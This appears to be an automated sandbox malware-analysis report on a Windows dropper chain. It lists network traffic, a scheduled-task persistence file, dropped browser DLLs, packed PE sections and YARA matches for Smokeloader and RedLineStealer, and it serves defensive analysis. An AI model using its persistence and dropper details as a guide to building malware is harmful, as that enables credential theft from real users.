Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2891266536.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2862667067.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2877203720.000000000257D000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.0000000000438000.00000040.00000001.01000000.0000000A.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000002.3355278855.0000000002577000.00000004.00000020.00020000.00000000.sdmp, build_2024-07-25_20-56.exe, 0000000A.00000003.2835483458.000000000257D000.00000004.00000020.00020000.00000000.sdmp, 76561199747278259[1].htm.10.dr String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2817698334.0000000002583000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com
Source: build_2024-07-25_20-56.exe, 0000000A.00000003.2817698334.0000000002583000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/
Source: unknown Network traffic detected: HTTP traffic on port 60848 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 60850 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 60787 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 60817
Source: unknown Network traffic detected: HTTP traffic on port 60831 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 60783 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 60850
Source: unknown Network traffic detected: HTTP traffic on port 60815 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 60834 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 60796 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 60815
Source: unknown Network traffic detected: HTTP traffic on port 60829 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 60812
Source: unknown Network traffic detected: HTTP traffic on port 60803 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 60829
Source: unknown Network traffic detected: HTTP traffic on port 60820 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 60827
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 60785
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 60783
Source: unknown Network traffic detected: HTTP traffic on port 60807 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 60823
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 60789
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 60787
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 60820
Source: unknown Network traffic detected: HTTP traffic on port 60800 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 60791 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 60789 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 60827 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 60823 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 60817 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 60785 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 60796
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 60793
Source: unknown Network traffic detected: HTTP traffic on port 60798 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 60791
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 60834
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 60798
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 60831
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 60809
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 60807
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 60805
Source: unknown Network traffic detected: HTTP traffic on port 60805 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 60809 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 60812 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 60848
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 60803
Source: unknown Network traffic detected: HTTP traffic on port 60793 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 60800
Source: unknown HTTPS traffic detected: 23.192.247.89:443 -> 192.168.2.6:60783 version: TLS 1.2
Source: unknown HTTPS traffic detected: 5.75.212.60:443 -> 192.168.2.6:60785 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.72.79:443 -> 192.168.2.6:60800 version: TLS 1.2

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 0000000A.00000002.3355872691.0000000003FA0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 0000000A.00000002.3355199740.00000000024FD000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
PE file contains section with special chars
Source: IRqsWvBBMc.exe Static PE information: section name:
Source: IRqsWvBBMc.exe Static PE information: section name: .idata
Source: IRqsWvBBMc.exe Static PE information: section name:
Source: axplong.exe.0.dr Static PE information: section name:
Source: axplong.exe.0.dr Static PE information: section name: .idata
Source: axplong.exe.0.dr Static PE information: section name:
Contains functionality to call native functions
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C2CB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error, 10_2_6C2CB700
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C2CB8C0 rand_s,NtQueryVirtualMemory, 10_2_6C2CB8C0
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C2CB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError, 10_2_6C2CB910
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C26F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error, 10_2_6C26F280
Creates files inside the system directory
Source: C:\Users\user\Desktop\IRqsWvBBMc.exe File created: C:\Windows\Tasks\axplong.job Jump to behavior
Detected potential crypto function
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Code function: 7_2_008FE440 7_2_008FE440
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Code function: 7_2_008F4CF0 7_2_008F4CF0
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Code function: 7_2_00933068 7_2_00933068
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Code function: 7_2_00927D83 7_2_00927D83
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Code function: 7_2_00989680 7_2_00989680
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Code function: 7_2_008F4AF0 7_2_008F4AF0
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Code function: 7_2_0093765B 7_2_0093765B
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Code function: 7_2_00932BD0 7_2_00932BD0
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Code function: 7_2_00936F09 7_2_00936F09
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Code function: 7_2_00938720 7_2_00938720
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe Code function: 7_2_0093777B 7_2_0093777B
Source: C:\Users\user\AppData\Local\Temp\1000019001\server.exe Code function: 9_2_00007FF683127058 9_2_00007FF683127058
Source: C:\Users\user\AppData\Local\Temp\1000019001\server.exe Code function: 9_2_00007FF683139060 9_2_00007FF683139060
Source: C:\Users\user\AppData\Local\Temp\1000019001\server.exe Code function: 9_2_00007FF6831300E0 9_2_00007FF6831300E0
Source: C:\Users\user\AppData\Local\Temp\1000019001\server.exe Code function: 9_2_00007FF6831179D0 9_2_00007FF6831179D0
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_0041BD50 10_2_0041BD50
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_0041A130 10_2_0041A130
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_00419B58 10_2_00419B58
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_00419B30 10_2_00419B30
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C2635A0 10_2_6C2635A0
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C2D542B 10_2_6C2D542B
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C2DAC00 10_2_6C2DAC00
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C2A5C10 10_2_6C2A5C10
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C2B2C10 10_2_6C2B2C10
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C275440 10_2_6C275440
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C2D545C 10_2_6C2D545C
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C2C34A0 10_2_6C2C34A0
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C2CC4A0 10_2_6C2CC4A0
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C276C80 10_2_6C276C80
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C26D4E0 10_2_6C26D4E0
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C2A6CF0 10_2_6C2A6CF0
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C2764C0 10_2_6C2764C0
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C28D4D0 10_2_6C28D4D0
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C27FD00 10_2_6C27FD00
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C28ED10 10_2_6C28ED10
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C290512 10_2_6C290512
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C2C85F0 10_2_6C2C85F0
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C2A0DD0 10_2_6C2A0DD0
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C2C9E30 10_2_6C2C9E30
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C2B5600 10_2_6C2B5600
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C2A7E10 10_2_6C2A7E10
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C2D6E63 10_2_6C2D6E63
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C26C670 10_2_6C26C670
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C2B2E4E 10_2_6C2B2E4E
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C284640 10_2_6C284640
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C289E50 10_2_6C289E50
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C2A3E50 10_2_6C2A3E50
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C2C4EA0 10_2_6C2C4EA0
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C2CE680 10_2_6C2CE680
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C285E90 10_2_6C285E90
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C2D76E3 10_2_6C2D76E3
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C26BEF0 10_2_6C26BEF0
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C27FEF0 10_2_6C27FEF0
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C279F00 10_2_6C279F00
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C2A7710 10_2_6C2A7710
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C2B77A0 10_2_6C2B77A0
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C26DFE0 10_2_6C26DFE0
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C296FF0 10_2_6C296FF0
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C2AB820 10_2_6C2AB820
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C2B4820 10_2_6C2B4820
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C277810 10_2_6C277810
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C2AF070 10_2_6C2AF070
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C288850 10_2_6C288850
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C28D850 10_2_6C28D850
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C2960A0 10_2_6C2960A0
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C28C0E0 10_2_6C28C0E0
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C2A58E0 10_2_6C2A58E0
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C2D50C7 10_2_6C2D50C7
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C27D960 10_2_6C27D960
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C2BB970 10_2_6C2BB970
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C2DB170 10_2_6C2DB170
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C28A940 10_2_6C28A940
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C26C9A0 10_2_6C26C9A0
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C29D9B0 10_2_6C29D9B0
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C2A5190 10_2_6C2A5190
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C2C2990 10_2_6C2C2990
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C2A9A60 10_2_6C2A9A60
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C2622A0 10_2_6C2622A0
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C294AA0 10_2_6C294AA0
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C27CAB0 10_2_6C27CAB0
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C2D2AB0 10_2_6C2D2AB0
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C2DBA90 10_2_6C2DBA90
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C281AF0 10_2_6C281AF0
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C2AE2F0 10_2_6C2AE2F0
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C2A8AC0 10_2_6C2A8AC0
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C2AD320 10_2_6C2AD320
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C27C370 10_2_6C27C370
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C265340 10_2_6C265340
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C26F380 10_2_6C26F380
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C2D53C8 10_2_6C2D53C8
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C3EAC30 10_2_6C3EAC30
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C3D6C00 10_2_6C3D6C00
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C31AC60 10_2_6C31AC60
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C36ECD0 10_2_6C36ECD0
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C30ECC0 10_2_6C30ECC0
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C43AD50 10_2_6C43AD50
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C3DED70 10_2_6C3DED70
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C498D20 10_2_6C498D20
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C314DB0 10_2_6C314DB0
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C49CDC0 10_2_6C49CDC0
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C3A6D90 10_2_6C3A6D90
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C3F0E20 10_2_6C3F0E20
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C3AEE70 10_2_6C3AEE70
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C396E90 10_2_6C396E90
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C31AEC0 10_2_6C31AEC0
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C3B0EC0 10_2_6C3B0EC0
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C316F10 10_2_6C316F10
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C3D2F70 10_2_6C3D2F70
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C450F20 10_2_6C450F20
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C37EF40 10_2_6C37EF40
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C31EFB0 10_2_6C31EFB0
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C3EEFF0 10_2_6C3EEFF0
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C310FE0 10_2_6C310FE0
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C458FB0 10_2_6C458FB0
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C360820 10_2_6C360820
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C39A820 10_2_6C39A820
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C3E4840 10_2_6C3E4840
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C4168E0 10_2_6C4168E0
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C366900 10_2_6C366900
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C348960 10_2_6C348960
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C3D09B0 10_2_6C3D09B0
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C3A09A0 10_2_6C3A09A0
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C3CA9A0 10_2_6C3CA9A0
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C42C9E0 10_2_6C42C9E0
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C3449F0 10_2_6C3449F0
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C3C8A30 10_2_6C3C8A30
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C3BEA00 10_2_6C3BEA00
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C38CA70 10_2_6C38CA70
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C38EA80 10_2_6C38EA80
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C3B0BA0 10_2_6C3B0BA0
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C416BE0 10_2_6C416BE0
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C39A430 10_2_6C39A430
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C374420 10_2_6C374420
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C328460 10_2_6C328460
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C43A480 10_2_6C43A480
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C3564D0 10_2_6C3564D0
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C3AA4D0 10_2_6C3AA4D0
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C414540 10_2_6C414540
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C458550 10_2_6C458550
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C3B0570 10_2_6C3B0570
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C372560 10_2_6C372560
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C368540 10_2_6C368540
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C3045B0 10_2_6C3045B0
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C39E5F0 10_2_6C39E5F0
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C3DA5E0 10_2_6C3DA5E0
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C36C650 10_2_6C36C650
Dropped file seen in connection with other malware
Source: Joe Sandbox View Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
Source: Joe Sandbox View Dropped File: C:\ProgramData\mozglue.dll BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
Found potential string decryption / allocating functions
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: String function: 6C29CBE8 appears 134 times
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: String function: 6C2A94D0 appears 90 times
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: String function: 6C339B10 appears 33 times
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: String function: 6C333620 appears 36 times
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: String function: 00402000 appears 287 times
One or more processes crash
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2260 -s 3000
PE file contains more sections than normal
Source: server[1].exe.7.dr Static PE information: Number of sections : 11 > 10
Source: server.exe.7.dr Static PE information: Number of sections : 11 > 10
Source: 7847438767[1].exe.10.dr Static PE information: Number of sections : 11 > 10
Source: CFHIIJDBKE.exe.10.dr Static PE information: Number of sections : 11 > 10
Uses 32bit PE files
Source: IRqsWvBBMc.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Yara signature match
Source: 0000000A.00000002.3355872691.0000000003FA0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 0000000A.00000002.3355199740.00000000024FD000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: IRqsWvBBMc.exe Static PE information: Section: ZLIB complexity 0.9970410422343324
Source: IRqsWvBBMc.exe Static PE information: Section: erhqbccx ZLIB complexity 0.9946336357132375
Source: axplong.exe.0.dr Static PE information: Section: ZLIB complexity 0.9970410422343324
Source: axplong.exe.0.dr Static PE information: Section: erhqbccx ZLIB complexity 0.9946336357132375
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@19/30@5/7
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Code function: 10_2_6C2C7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree, 10_2_6C2C7030
